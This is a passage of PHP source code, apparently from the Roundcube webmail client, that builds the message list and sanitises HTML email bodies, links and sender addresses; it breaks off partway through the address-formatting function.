            $a_show_cols = !empty($list_cols) && is_array($list_cols) ? $list_cols : ['subject'];

            $rcmail->output->set_env('col_movable', !in_array('list_cols', (array) $rcmail->config->get('dont_override')));
        }
        else {
            $a_show_cols = preg_split('/[\s,;]+/', str_replace(["'", '"'], '', $attrib['columns']));
            $attrib['columns'] = $a_show_cols;
        }

        // save some variables for use in ajax list
        $_SESSION['list_attrib'] = $attrib;

        // make sure 'threads' and 'subject' columns are present
        if (!in_array('subject', $a_show_cols)) {
            array_unshift($a_show_cols, 'subject');
        }
        if (!in_array('threads', $a_show_cols)) {
            array_unshift($a_show_cols, 'threads');
        }

        $listcols = $a_show_cols;

        // set client env
        $rcmail->output->add_gui_object('messagelist', $attrib['id']);
        $rcmail->output->set_env('autoexpand_threads', intval($rcmail->config->get('autoexpand_threads')));
        $rcmail->output->set_env('sort_col', $_SESSION['sort_col']);
        $rcmail->output->set_env('sort_order', $_SESSION['sort_order']);
        $rcmail->output->set_env('messages', []);
        $rcmail->output->set_env('listcols', $listcols);
        $rcmail->output->set_env('listcols_widescreen', ['threads', 'subject', 'fromto', 'date', 'size', 'flag', 'attachment']);

        $rcmail->output->include_script('list.js');

        $table = new html_table($attrib);

        if (empty($attrib['noheader'])) {
            $allcols = array_merge($listcols, ['threads', 'subject', 'fromto', 'date', 'size', 'flag', 'attachment']);
            $allcols = array_unique($allcols);

            foreach (self::message_list_head($attrib, $allcols) as $col => $cell) {
                if (in_array($col, $listcols)) {
                    $table->add_header(['class' => $cell['className'], 'id' => $cell['id']], $cell['html']);
                }
            }
        }

        return $table->show();
    }

    /**
     * return javascript commands to add rows to the message list
     */
    public static function js_message_list($a_headers, $insert_top = false, $a_show_cols = null)
    {
        $rcmail = rcmail::get_instance();

        if (empty($a_show_cols)) {
            if (!empty($_SESSION['list_attrib']['columns'])) {
                $a_show_cols = $_SESSION['list_attrib']['columns'];
            }
            else {
                $list_cols   = $rcmail->config->get('list_cols');
                $a_show_cols = !empty($list_cols) && is_array($list_cols) ? $list_cols : ['subject'];
            }
        }
        else {
            if (!is_array($a_show_cols)) {
                $a_show_cols = preg_split('/[\s,;]+/', str_replace(["'", '"'], '', $a_show_cols));
            }
            $head_replace = true;
        }

        $delimiter   = $rcmail->storage->get_hierarchy_delimiter();
        $search_set  = $rcmail->storage->get_search_set();
        $multifolder = $search_set && !empty($search_set[1]->multi);

        // add/remove 'folder' column to the list on multi-folder searches
        if ($multifolder && !in_array('folder', $a_show_cols)) {
            $a_show_cols[] = 'folder';
            $head_replace  = true;
        }
        else if (!$multifolder && ($found = array_search('folder', $a_show_cols)) !== false) {
            unset($a_show_cols[$found]);
            $head_replace = true;
        }

        $mbox = $rcmail->output->get_env('mailbox');
        if (!is_string($mbox) || !strlen($mbox)) {
            $mbox = $rcmail->storage->get_folder();
        }

        // make sure 'threads' and 'subject' columns are present
        if (!in_array('subject', $a_show_cols)) {
            array_unshift($a_show_cols, 'subject');
        }
        if (!in_array('threads', $a_show_cols)) {
            array_unshift($a_show_cols, 'threads');
        }

        // Make sure there are no duplicated columns (#1486999)
        $a_show_cols = array_unique($a_show_cols);
        $_SESSION['list_attrib']['columns'] = $a_show_cols;

        // Plugins may set header's list_cols/list_flags and other rcube_message_header variables
        // and list columns
        $plugin = $rcmail->plugins->exec_hook('messages_list', ['messages' => $a_headers, 'cols' => $a_show_cols]);

        $a_show_cols = $plugin['cols'];
        $a_headers   = $plugin['messages'];

        // make sure minimum required columns are present (needed for widescreen layout)
        $allcols = array_merge($a_show_cols, ['threads', 'subject', 'fromto', 'date', 'size', 'flag', 'attachment']);
        $allcols = array_unique($allcols);

        $thead = !empty($head_replace) ? self::message_list_head($_SESSION['list_attrib'], $allcols) : null;

        // get name of smart From/To column in folder context
        $smart_col = self::message_list_smart_column_name();
        $rcmail->output->command('set_message_coltypes', array_values($a_show_cols), $thead, $smart_col);

        if ($multifolder && $_SESSION['search_scope'] == 'all') {
            $rcmail->output->command('select_folder', '');
        }

        $rcmail->output->set_env('multifolder_listing', $multifolder);

        if (empty($a_headers)) {
            return;
        }

        // remove 'threads', 'attachment', 'flag', 'status' columns, we don't need them here
        foreach (['threads', 'attachment', 'flag', 'status', 'priority'] as $col) {
            if (($key = array_search($col, $allcols)) !== false) {
                unset($allcols[$key]);
            }
        }

        $sort_col = $_SESSION['sort_col'];

        // loop through message headers
        foreach ($a_headers as $header) {
            if (empty($header) || empty($header->size)) {
                continue;
            }

            // make message UIDs unique by appending the folder name
            if ($multifolder) {
                $header->uid .= '-' . $header->folder;
                $header->flags['skip_mbox_check'] = true;
                if (!empty($header->parent_uid)) {
                    $header->parent_uid .= '-' . $header->folder;
                }
            }

            $a_msg_cols  = [];
            $a_msg_flags = [];

            // format each col; similar as in self::message_list()
            foreach ($allcols as $col) {
                $col_name = $col == 'fromto' ? $smart_col : $col;

                if (in_array($col_name, ['from', 'to', 'cc', 'replyto'])) {
                    $cont = self::address_string($header->$col_name, 3, false, null, $header->charset, null, false);
                    if (empty($cont)) {
                        $cont = '&nbsp;'; // for widescreen mode
                    }
                }
                else if ($col == 'subject') {
                    $cont = trim(rcube_mime::decode_header($header->subject, $header->charset));
                    if (!$cont) {
                        $cont = $rcmail->gettext('nosubject');
                    }
                    $cont = rcube::SQ($cont);
                }
                else if ($col == 'size') {
                    $cont = self::show_bytes($header->size);
                }
                else if ($col == 'date') {
                    $cont = $rcmail->format_date($sort_col == 'arrival' ? $header->internaldate : $header->date);
                }
                else if ($col == 'folder') {
                    if (!isset($last_folder) || !isset($last_folder_name) || $last_folder !== $header->folder) {
                        $last_folder      = $header->folder;
                        $last_folder_name = self::localize_foldername($last_folder, true);
                        $last_folder_name = str_replace($delimiter, " \xC2\xBB ", $last_folder_name);
                    }

                    $cont = rcube::SQ($last_folder_name);
                }
                else if (isset($header->$col)) {
                    $cont = rcube::SQ($header->$col);
                }
                else {
                    $cont = '';
                }

                $a_msg_cols[$col] = $cont;
            }

            $a_msg_flags = array_change_key_case(array_map('intval', (array) $header->flags));

            if (!empty($header->depth)) {
                $a_msg_flags['depth'] = $header->depth;
            }
            else if (!empty($header->has_children)) {
                $roots[] = $header->uid;
            }
            if (!empty($header->parent_uid)) {
                $a_msg_flags['parent_uid'] = $header->parent_uid;
            }
            if (!empty($header->has_children)) {
                $a_msg_flags['has_children'] = $header->has_children;
            }
            if (!empty($header->unread_children)) {
                $a_msg_flags['unread_children'] = $header->unread_children;
            }
            if (!empty($header->flagged_children)) {
                $a_msg_flags['flagged_children'] = $header->flagged_children;
            }
            if (!empty($header->others['list-post'])) {
                $a_msg_flags['ml'] = 1;
            }
            if (!empty($header->priority)) {
                $a_msg_flags['prio'] = (int) $header->priority;
            }

            $a_msg_flags['ctype'] = rcube::Q($header->ctype);
            $a_msg_flags['mbox']  = $header->folder;

            // merge with plugin result (Deprecated, use $header->flags)
            if (!empty($header->list_flags) && is_array($header->list_flags)) {
                $a_msg_flags = array_merge($a_msg_flags, $header->list_flags);
            }
            if (!empty($header->list_cols) && is_array($header->list_cols)) {
                $a_msg_cols = array_merge($a_msg_cols, $header->list_cols);
            }

            $rcmail->output->command('add_message_row', $header->uid, $a_msg_cols, $a_msg_flags, $insert_top);
        }

        if ($rcmail->storage->get_threading()) {
            $roots = isset($roots) ? (array) $roots : [];
            $rcmail->output->command('init_threads', $roots, $mbox);
        }
    }

    /*
     * Creates <THEAD> for message list table
     */
    public static function message_list_head($attrib, $a_show_cols)
    {
        $rcmail = rcmail::get_instance();

        // check to see if we have some settings for sorting
        $sort_col   = $_SESSION['sort_col'];
        $sort_order = $_SESSION['sort_order'];

        $dont_override  = (array) $rcmail->config->get('dont_override');
        $disabled_sort  = in_array('message_sort_col', $dont_override);
        $disabled_order = in_array('message_sort_order', $dont_override);

        $rcmail->output->set_env('disabled_sort_col', $disabled_sort);
        $rcmail->output->set_env('disabled_sort_order', $disabled_order);

        // define sortable columns
        if ($disabled_sort) {
            $a_sort_cols = $sort_col && !$disabled_order ? [$sort_col] : [];
        }
        else {
            $a_sort_cols = ['subject', 'date', 'from', 'to', 'fromto', 'size', 'cc'];
        }

        if (!empty($attrib['optionsmenuicon'])) {
            $params = [];
            foreach ($attrib as $key => $val) {
                if (preg_match('/^optionsmenu(.+)$/', $key, $matches)) {
                    $params[$matches[1]] = $val;
                }
            }

            $list_menu = self::options_menu_link($params);
        }

        $cells = $coltypes = [];

        // get name of smart From/To column in folder context
        $smart_col = null;
        if (array_search('fromto', $a_show_cols) !== false) {
            $smart_col = self::message_list_smart_column_name();
        }

        foreach ($a_show_cols as $col) {
            // sanity check
            if (!preg_match('/^[a-zA-Z_-]+$/', $col)) {
                continue;
            }

            $label    = '';
            $sortable = false;
            $rel_col  = $col == 'date' && $sort_col == 'arrival' ? 'arrival' : $col;

            // get column name
            switch ($col) {
            case 'flag':
                $col_name = html::span('flagged', $rcmail->gettext('flagged'));
                break;
            case 'attachment':
            case 'priority':
                $col_name = html::span($col, $rcmail->gettext($col));
                break;
            case 'status':
                $col_name = html::span($col, $rcmail->gettext('readstatus'));
                break;
            case 'threads':
                $col_name = !empty($list_menu) ? $list_menu : '';
                break;
            case 'fromto':
                $label    = $rcmail->gettext($smart_col);
                $col_name = rcube::Q($label);
                break;
            default:
                $label    = $rcmail->gettext($col);
                $col_name = rcube::Q($label);
            }

            // make sort links
            if (in_array($col, $a_sort_cols)) {
                $sortable = true;
                $col_name = html::a([
                        'href'  => "./#sort",
                        'class' => 'sortcol',
                        'rel'   => $rel_col,
                        'title' => $rcmail->gettext('sortby')
                    ], $col_name);
            }
            else if (empty($col_name) || $col_name[0] != '<') {
                $col_name = '<span class="' . $col .'">' . $col_name . '</span>';
            }

            $sort_class = $rel_col == $sort_col && !$disabled_order ? " sorted$sort_order" : '';
            $class_name = $col.$sort_class;

            // put it all together
            $cells[$col]    = ['className' => $class_name, 'id' => "rcm$col", 'html' => $col_name];
            $coltypes[$col] = ['className' => $class_name, 'id' => "rcm$col", 'label' => $label, 'sortable' => $sortable];
        }

        $rcmail->output->set_env('coltypes', $coltypes);

        return $cells;
    }

    public static function options_menu_link($attrib = [])
    {
        $rcmail  = rcmail::get_instance();
        $title   = $rcmail->gettext(!empty($attrib['label']) ? $attrib['label'] : 'listoptions');
        $inner   = $title;
        $onclick = sprintf(
            "return %s.command('menu-open', '%s', this, event)",
            rcmail_output::JS_OBJECT_NAME,
            !empty($attrib['ref']) ? $attrib['ref'] : 'messagelistmenu'
        );

        // Backwards compatibility, attribute renamed in v1.5
        if (isset($attrib['optionsmenuicon'])) {
            $attrib['icon'] = $attrib['optionsmenuicon'];
        }

        if (!empty($attrib['icon']) && $attrib['icon'] != 'true') {
            $inner = html::img(['src' => $rcmail->output->asset_url($attrib['icon'], true), 'alt' => $title]);
        }
        else if (!empty($attrib['innerclass'])) {
            $inner = html::span($attrib['innerclass'], $inner);
        }

        return html::a([
                'href'     => '#list-options',
                'onclick'  => $onclick,
                'class'    => $attrib['class'] ?? 'listmenu',
                'id'       => $attrib['id'] ?? 'listmenulink',
                'title'    => $title,
                'tabindex' => '0',
            ], $inner
        );
    }

    public static function messagecount_display($attrib)
    {
        $rcmail = rcmail::get_instance();

        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmcountdisplay';
        }

        $rcmail->output->add_gui_object('countdisplay', $attrib['id']);

        $content =  $rcmail->action != 'show' ? self::get_messagecount_text() : $rcmail->gettext('loading');

        return html::span($attrib, $content);
    }

    public static function get_messagecount_text($count = null, $page = null)
    {
        $rcmail = rcmail::get_instance();

        if ($page === null) {
            $page = $rcmail->storage->get_page();
        }

        $page_size = $rcmail->storage->get_pagesize();
        $start_msg = ($page-1) * $page_size + 1;
        $max       = $count;

        if ($max === null && $rcmail->action) {
            $max = $rcmail->storage->count(null, $rcmail->storage->get_threading() ? 'THREADS' : 'ALL');
        }

        if (!$max) {
            $out = $rcmail->storage->get_search_set() ? $rcmail->gettext('nomessages') : $rcmail->gettext('mailboxempty');
        }
        else {
            $out = $rcmail->gettext([
                    'name' => $rcmail->storage->get_threading() ? 'threadsfromto' : 'messagesfromto',
                    'vars' => [
                        'from'  => $start_msg,
                        'to'    => min($max, $start_msg + $page_size - 1),
                        'count' => $max
                    ]
            ]);
        }

        return rcube::Q($out);
    }

    public static function mailbox_name_display($attrib)
    {
        $rcmail = rcmail::get_instance();

        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmmailboxname';
        }

        $rcmail->output->add_gui_object('mailboxname', $attrib['id']);

        return html::span($attrib, self::get_mailbox_name_text());
    }

    public static function get_mailbox_name_text()
    {
        $rcmail = rcmail::get_instance();
        $mbox   = $rcmail->output->get_env('mailbox');

        if (!is_string($mbox) || !strlen($mbox)) {
            $mbox = $rcmail->storage->get_folder();
        }

        return self::localize_foldername($mbox);
    }

    public static function send_unread_count($mbox_name, $force = false, $count = null, $mark = '')
    {
        $rcmail     = rcmail::get_instance();
        $old_unseen = self::get_unseen_count($mbox_name);
        $unseen     = $count;

        if ($unseen === null) {
            $unseen = $rcmail->storage->count($mbox_name, 'UNSEEN', $force);
        }

        if ($unseen !== $old_unseen || ($mbox_name == 'INBOX')) {
            $rcmail->output->command('set_unread_count', $mbox_name, $unseen,
                ($mbox_name == 'INBOX'), $unseen && $mark ? $mark : '');
        }

        self::set_unseen_count($mbox_name, $unseen);

        return $unseen;
    }

    public static function set_unseen_count($mbox_name, $count)
    {
        // @TODO: this data is doubled (session and cache tables) if caching is enabled

        // Make sure we have an array here (#1487066)
        if (!isset($_SESSION['unseen_count']) || !is_array($_SESSION['unseen_count'])) {
            $_SESSION['unseen_count'] = [];
        }

        $_SESSION['unseen_count'][$mbox_name] = $count;
    }

    public static function get_unseen_count($mbox_name)
    {
        if (!empty($_SESSION['unseen_count']) && array_key_exists($mbox_name, $_SESSION['unseen_count'])) {
            return $_SESSION['unseen_count'][$mbox_name];
        }
    }

    /**
     * Sets message is_safe flag according to 'show_images' option value
     *
     * @param rcube_message $message Mail message object
     */
    public static function check_safe($message)
    {
        $rcmail = rcmail::get_instance();

        if (empty($message->is_safe)
            && ($show_images = $rcmail->config->get('show_images'))
            && $message->has_html_part()
        ) {
            switch ($show_images) {
            case 3: // trusted senders only
            case 1: // all my contacts
                if (!empty($message->sender['mailto'])) {
                    $type = rcube_addressbook::TYPE_TRUSTED_SENDER;

                    if ($show_images == 1) {
                        $type |= rcube_addressbook::TYPE_RECIPIENT | rcube_addressbook::TYPE_WRITEABLE;
                    }

                    if ($rcmail->contact_exists($message->sender['mailto'], $type)) {
                        $message->set_safe(true);
                    }
                }

                $rcmail->plugins->exec_hook('message_check_safe', ['message' => $message]);
                break;

            case 2: // always
                $message->set_safe(true);
                break;
            }
        }

        return !empty($message->is_safe);
    }

    /**
     * Cleans up the given message HTML Body (for displaying)
     *
     * @param string $html         HTML
     * @param array  $p            Display parameters
     * @param array  $cid_replaces CID map replaces (inline images)
     *
     * @return string Clean HTML
     */
    public static function wash_html($html, $p, $cid_replaces = [])
    {
        $rcmail = rcmail::get_instance();

        $p += ['safe' => false, 'inline_html' => true, 'css_prefix' => null, 'container_id' => null];

        // charset was converted to UTF-8 in rcube_storage::get_message_part(),
        // change/add charset specification in HTML accordingly,
        // washtml's DOMDocument methods cannot work without that
        $meta = '<meta charset="' . RCUBE_CHARSET . '" />';

        // remove old meta tag and add the new one, making sure that it is placed in the head (#3510, #7116)
        $html = preg_replace('/<meta[^>]+charset=[a-z0-9_"-]+[^>]*>/Ui', '', $html);
        $html = preg_replace('/(<head[^>]*>)/Ui', '\\1'.$meta, $html, -1, $rcount);

        if (!$rcount) {
            // Note: HTML without <html> tag may still be a valid input (#6713)
            if (($pos = stripos($html, '<html')) === false) {
                $html = '<html><head>' . $meta . '</head>' . $html;
            }
            else {
                $pos  = strpos($html, '>', $pos);
                $html = substr_replace($html, '<head>' . $meta . '</head>', $pos + 1, 0);
            }
        }

        // clean HTML with washtml by Frederic Motte
        $wash_opts = [
            'show_washed'   => false,
            'allow_remote'  => $p['safe'],
            'blocked_src'   => $rcmail->output->asset_url('program/resources/blocked.gif'),
            'charset'       => RCUBE_CHARSET,
            'cid_map'       => $cid_replaces,
            'html_elements' => ['body'],
            'css_prefix'    => $p['css_prefix'],
            'container_id'  => $p['container_id'],
        ];

        if (empty($p['inline_html'])) {
            $wash_opts['html_elements'] = ['html','head','title','body','link'];
        }
        if (!empty($p['safe'])) {
            $wash_opts['html_attribs'] = ['rel','type'];
        }

        // overwrite washer options with options from plugins
        if (isset($p['html_elements'])) {
            $wash_opts['html_elements'] = $p['html_elements'];
        }
        if (isset($p['html_attribs'])) {
            $wash_opts['html_attribs'] = $p['html_attribs'];
        }

        // initialize HTML washer
        $washer = new rcube_washtml($wash_opts);

        if (empty($p['skip_washer_form_callback'])) {
            $washer->add_callback('form', 'rcmail_action_mail_index::washtml_callback');
        }

        // allow CSS styles, will be sanitized by rcmail_washtml_callback()
        if (empty($p['skip_washer_style_callback'])) {
            $washer->add_callback('style', 'rcmail_action_mail_index::washtml_callback');
        }

        // modify HTML links to open a new window if clicked
        if (empty($p['skip_washer_link_callback'])) {
            $washer->add_callback('a', 'rcmail_action_mail_index::washtml_link_callback');
            $washer->add_callback('area', 'rcmail_action_mail_index::washtml_link_callback');
            $washer->add_callback('link', 'rcmail_action_mail_index::washtml_link_callback');
        }

        // Remove non-UTF8 characters (#1487813)
        $html = rcube_charset::clean($html);

        $html = $washer->wash($html);
        self::$REMOTE_OBJECTS = $washer->extlinks;

        return $html;
    }

    /**
     * Convert the given message part to proper HTML
     * which can be displayed the message view
     *
     * @param string             $body Message part body
     * @param rcube_message_part $part Message part
     * @param array              $p    Display parameters array
     *
     * @return string Formatted HTML string
     */
    public static function print_body($body, $part, $p = [])
    {
        $rcmail = rcmail::get_instance();

        // trigger plugin hook
        $data = $rcmail->plugins->exec_hook('message_part_before',
            [
                'type' => $part->ctype_secondary,
                'body' => $body,
                'id'   => $part->mime_id
            ] + $p + [
                'safe'  => false,
                'plain' => false,
                'inline_html' => true
            ]
        );

        // convert html to text/plain
        if ($data['plain'] && ($data['type'] == 'html' || $data['type'] == 'enriched')) {
            if ($data['type'] == 'enriched') {
                $data['body'] = rcube_enriched::to_html($data['body']);
            }

            $body = $rcmail->html2text($data['body']);
            $part->ctype_secondary = 'plain';
        }
        // text/html
        else if ($data['type'] == 'html') {
            $body = self::wash_html($data['body'], $data, $part->replaces);
            $part->ctype_secondary = $data['type'];
        }
        // text/enriched
        else if ($data['type'] == 'enriched') {
            $body = rcube_enriched::to_html($data['body']);
            $body = self::wash_html($body, $data, $part->replaces);
            $part->ctype_secondary = 'html';
        }
        else {
            // assert plaintext
            $body = $data['body'];
            $part->ctype_secondary = $data['type'] = 'plain';
        }

        // free some memory (hopefully)
        unset($data['body']);

        // plaintext postprocessing
        if ($part->ctype_secondary == 'plain') {
            $flowed = isset($part->ctype_parameters['format']) && $part->ctype_parameters['format'] == 'flowed';
            $delsp  = isset($part->ctype_parameters['delsp']) && $part->ctype_parameters['delsp'] == 'yes';
            $body   = self::plain_body($body, $flowed, $delsp);
        }

        // allow post-processing of the message body
        $data = $rcmail->plugins->exec_hook('message_part_after', [
                'type' => $part->ctype_secondary,
                'body' => $body,
                'id'   => $part->mime_id
            ] + $data);

        return $data['body'];
    }

    /**
     * Handle links and citation marks in plain text message
     *
     * @param string $body   Plain text string
     * @param bool   $flowed Set to True if the source text is in format=flowed
     * @param bool   $delsp  Enable 'delsp' option of format=flowed text
     *
     * @return string Formatted HTML string
     */
    public static function plain_body($body, $flowed = false, $delsp = false)
    {
        $options = [
            'flowed'   => $flowed,
            'replacer' => 'rcmail_string_replacer',
            'delsp'    => $delsp
        ];

        $text2html = new rcube_text2html($body, false, $options);
        $body      = $text2html->get_html();

        return $body;
    }

    /**
     * Callback function for washtml cleaning class
     */
    public static function washtml_callback($tagname, $attrib, $content, $washtml)
    {
        $out = '';

        switch ($tagname) {
        case 'form':
            $out = html::div('form', $content);
            break;

        case 'style':
            // Crazy big styles may freeze the browser (#1490539)
            // remove content with more than 5k lines
            if (substr_count($content, "\n") > 5000) {
                break;
            }

            // decode all escaped entities and reduce to ascii strings
            $decoded  = rcube_utils::xss_entity_decode($content);
            $stripped = preg_replace('/[^a-zA-Z\(:;]/', '', $decoded);

            // now check for evil strings like expression, behavior or url()
            if (!preg_match('/expression|behavior|javascript:|import[^a]/i', $stripped)) {
                if (!$washtml->get_config('allow_remote') && preg_match('/url\((?!data:image)/', $stripped)) {
                    $washtml->extlinks = true;
                }
                else {
                    $out = html::tag('style', ['type' => 'text/css'], $decoded);
                }
            }
        }

        return $out;
    }

    /**
     * Detect if a message attachment is an image (that can be displayed in the browser).
     *
     * @param rcube_message_part $part Message part - attachment
     *
     * @return string|null Image MIME type
     */
    public static function part_image_type($part)
    {
        $mimetype = strtolower($part->mimetype);

        // Skip TIFF/WEBP images if browser doesn't support this format
        // ...until we can convert them to JPEG
        $tiff_support = !empty($_SESSION['browser_caps']) && !empty($_SESSION['browser_caps']['tiff']);
        $tiff_support = $tiff_support || rcube_image::is_convertable('image/tiff');
        $webp_support = !empty($_SESSION['browser_caps']) && !empty($_SESSION['browser_caps']['webp']);
        $webp_support = $webp_support || rcube_image::is_convertable('image/webp');

        if ((!$tiff_support && $mimetype == 'image/tiff') || (!$webp_support && $mimetype == 'image/webp')) {
            return;
        }

        // Content-Type: image/*...
        if (strpos($mimetype, 'image/') === 0) {
            return $mimetype;
        }

        // Many clients use application/octet-stream, we'll detect mimetype
        // by checking filename extension

        // Supported image filename extensions to image type map
        $types = [
            'jpg'  => 'image/jpeg',
            'jpeg' => 'image/jpeg',
            'png'  => 'image/png',
            'gif'  => 'image/gif',
            'bmp'  => 'image/bmp',
        ];

        if ($tiff_support) {
            $types['tif']  = 'image/tiff';
            $types['tiff'] = 'image/tiff';
        }

        if ($webp_support) {
            $types['webp'] = 'image/webp';
        }

        if ($part->filename
            && $mimetype == 'application/octet-stream'
            && preg_match('/\.([^.]+)$/i', $part->filename, $m)
            && ($extension = strtolower($m[1]))
            && isset($types[$extension])
        ) {
            return $types[$extension];
        }
    }

    /**
     * Modify a HTML message that it can be displayed inside a HTML page
     */
    public static function html4inline($body, &$args)
    {
        $last_pos = 0;
        $is_safe  = !empty($args['safe']);
        $prefix   = $args['css_prefix'] ?? null;
        $cont_id  = trim(
            (!empty($args['container_id']) ? $args['container_id'] : '')
            . (!empty($args['body_class']) ? ' div.' . $args['body_class'] : '')
        );

        // find STYLE tags
        while (($pos = stripos($body, '<style', $last_pos)) !== false && ($pos2 = stripos($body, '</style>', $pos+1))) {
            $pos = strpos($body, '>', $pos) + 1;
            $len = $pos2 - $pos;

            // replace all css definitions with #container [def]
            $styles = substr($body, $pos, $len);
            $styles = rcube_utils::mod_css_styles($styles, $cont_id, $is_safe, $prefix);

            $body     = substr_replace($body, $styles, $pos, $len);
            $last_pos = $pos2 + strlen($styles) - $len;
        }

        $replace = [
            // add comments around html and other tags
            '/(<!DOCTYPE[^>]*>)/i'          => '<!--\\1-->',
            '/(<\?xml[^>]*>)/i'             => '<!--\\1-->',
            '/(<\/?html[^>]*>)/i'           => '<!--\\1-->',
            '/(<\/?head[^>]*>)/i'           => '<!--\\1-->',
            '/(<title[^>]*>.*<\/title>)/Ui' => '<!--\\1-->',
            '/(<\/?meta[^>]*>)/i'           => '<!--\\1-->',
            // quote <? of php and xml files that are specified as text/html
            '/<\?/' => '&lt;?',
            '/\?>/' => '?&gt;',
        ];

        $regexp = '/<body([^>]*)/';

        // Handle body attributes that doesn't play nicely with div elements
        if (preg_match($regexp, $body, $m)) {
            $style = [];
            $attrs = $m[0];

            // Get bgcolor, we'll set it as background-color of the message container
            if (!empty($m[1]) && preg_match('/bgcolor=["\']*([a-z0-9#]+)["\']*/i', $attrs, $mb)) {
                $style['background-color'] = $mb[1];
                $attrs = preg_replace('/\s?bgcolor=["\']*[a-z0-9#]+["\']*/i', '', $attrs);
            }

            // Get text color, we'll set it as font color of the message container
            if (!empty($m[1]) && preg_match('/text=["\']*([a-z0-9#]+)["\']*/i', $attrs, $mb)) {
                $style['color'] = $mb[1];
                $attrs = preg_replace('/\s?text=["\']*[a-z0-9#]+["\']*/i', '', $attrs);
            }

            // Get background, we'll set it as background-image of the message container
            if (!empty($m[1]) && preg_match('/background=["\']*([^"\'>\s]+)["\']*/', $attrs, $mb)) {
                $style['background-image'] = 'url('.$mb[1].')';
                $attrs = preg_replace('/\s?background=["\']*([^"\'>\s]+)["\']*/', '', $attrs);
            }

            if (!empty($style)) {
                $body = preg_replace($regexp, rtrim($attrs), $body, 1);
            }

            // handle body styles related to background image
            if (!empty($style['background-image'])) {
                // get body style
                if (preg_match('/#'.preg_quote($cont_id, '/').'\s+\{([^}]+)}/i', $body, $m)) {
                    // get background related style
                    $regexp = '/(background-position|background-repeat)\s*:\s*([^;]+);/i';
                    if (preg_match_all($regexp, $m[1], $matches, PREG_SET_ORDER)) {
                        foreach ($matches as $m) {
                            $style[$m[1]] = $m[2];
                        }
                    }
                }
            }

            if (!empty($style)) {
                foreach ($style as $idx => $val) {
                    $style[$idx] = $idx . ': ' . $val;
                }

                $args['container_attrib']['style'] = implode('; ', $style);
            }

            // replace <body> with <div>
            if (!empty($args['body_class'])) {
                $replace['/<body([^>]*)>/i'] = '<div class="' . $args['body_class'] . '"\\1>';
            }
            else {
                $replace['/<body/i'] = '<div';
            }

            $replace['/<\/body>/i'] = '</div>';
        }
        // make sure there's 'rcmBody' div, we need it for proper css modification
        // its name is hardcoded in self::message_body() also
        else if (!empty($args['body_class'])) {
            $body = '<div class="' . $args['body_class'] . '">' . $body . '</div>';
        }

        // Clean up, and replace <body> with <div>
        $body = preg_replace(array_keys($replace), array_values($replace), $body);

        return $body;
    }

    /**
     * Parse link (a, link, area) attributes and set correct target
     */
    public static function washtml_link_callback($tag, $attribs, $content, $washtml)
    {
        $rcmail = rcmail::get_instance();
        $attrib = html::parse_attrib_string($attribs);

        // Remove non-printable characters in URL (#1487805)
        if (isset($attrib['href'])) {
            $attrib['href'] = preg_replace('/[\x00-\x1F]/', '', $attrib['href']);

            if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])) {
                $tempurl = 'tmp-' . md5($attrib['href']) . '.css';
                $_SESSION['modcssurls'][$tempurl] = $attrib['href'];
                $attrib['href'] = $rcmail->url([
                        'task'   => 'utils',
                        'action' => 'modcss',
                        'u'      => $tempurl,
                        'c'      => $washtml->get_config('container_id'),
                        'p'      => $washtml->get_config('css_prefix'),
                ]);
                $content = null;
            }
            else if (preg_match('/^mailto:(.+)/i', $attrib['href'], $mailto)) {
                $url_parts = explode('?', html_entity_decode($mailto[1], ENT_QUOTES, 'UTF-8'), 2);
                $mailto    = $url_parts[0];
                $url       = $url_parts[1] ?? '';

                // #6020: use raw encoding for correct "+" character handling as specified in RFC6068
                $url       = rawurldecode($url);
                $mailto    = rawurldecode($mailto);
                $addresses = rcube_mime::decode_address_list($mailto, null, true);
                $mailto    = [];

                // do sanity checks on recipients
                foreach ($addresses as $idx => $addr) {
                    if (rcube_utils::check_email($addr['mailto'], false)) {
                        $addresses[$idx] = $addr['mailto'];
                        $mailto[]        = $addr['string'];
                    }
                    else {
                        unset($addresses[$idx]);
                    }
                }

                if (!empty($addresses)) {
                    $attrib['href']    = 'mailto:' . implode(',', $addresses);
                    $attrib['onclick'] = sprintf(
                        "return %s.command('compose','%s',this)",
                        rcmail_output::JS_OBJECT_NAME,
                        rcube::JQ(implode(',', $mailto) . ($url ? "?$url" : '')));
                }
                else {
                    $attrib['href']    = '#NOP';
                    $attrib['onclick'] = '';
                }
            }
            else if (!empty($attrib['href']) && $attrib['href'][0] != '#') {
                $attrib['target'] = '_blank';
            }

            // Better security by adding rel="noreferrer" (#1484686)
            if (($tag == 'a' || $tag == 'area') && $attrib['href'] && $attrib['href'][0] != '#') {
                $attrib['rel'] = 'noreferrer';
            }
        }

        // allowed attributes for a|link|area tags
        $allow = ['href','name','target','onclick','id','class','style','title',
            'rel','type','media','alt','coords','nohref','hreflang','shape'];

        return html::tag($tag, $attrib, $content, $allow);
    }

    /**
     * Decode address string and re-format it as HTML links
     */
    public static function address_string($input, $max = null, $linked = false, $addicon = null,
        $default_charset = null, $title = null, $spoofcheck = true)
    {
        $a_parts = rcube_mime::decode_address_list($input, null, true, $default_charset);

        if (!count($a_parts)) {
            return null;
        }

        $rcmail  = rcmail::get_instance();
        $c       = count($a_parts);
        $j       = 0;
        $out     = '';
        $allvalues       = [];
        $shown_addresses = [];
        $show_email      = $rcmail->config->get('message_show_email');

        if ($addicon && !isset($_SESSION['writeable_abook'])) {
            $_SESSION['writeable_abook'] = $rcmail->get_address_sources(true) ? true : false;
        }

        foreach ($a_parts as $part) {
            $j++;

            $name   = $part['name'];
            $mailto = $part['mailto'];
            $string = $part['string'];
            $valid  = rcube_utils::check_email($mailto, false);

            // phishing email prevention (#1488981), e.g. "valid@email.addr <phishing@email.addr>"
            if (!$show_email && $valid && $name && $name != $mailto && preg_match('/@|@|﹫/', $name)) {
                $name = '';
            }

            // IDNA ASCII to Unicode
            if ($name == $mailto) {
                $name = rcube_utils::idn_to_utf8($name);
            }
            if ($string == $mailto) {
                $string = rcube_utils::idn_to_utf8($string);
            }
            $mailto = rcube_utils::idn_to_utf8($mailto);

            // Homograph attack detection (#6891)
            if ($spoofcheck && !self::$SUSPICIOUS_EMAIL) {
                self::$SUSPICIOUS_EMAIL = rcube_spoofchecker::check($mailto);
            }

            if (self::$PRINT_MODE) {
                $address = '&lt;' . rcube::Q($mailto) . '&gt;';
                if ($name) {
                    $address = rcube::SQ($name) . ' ' . $address;
                }
            }
            else if ($valid) {
                if ($linked) {
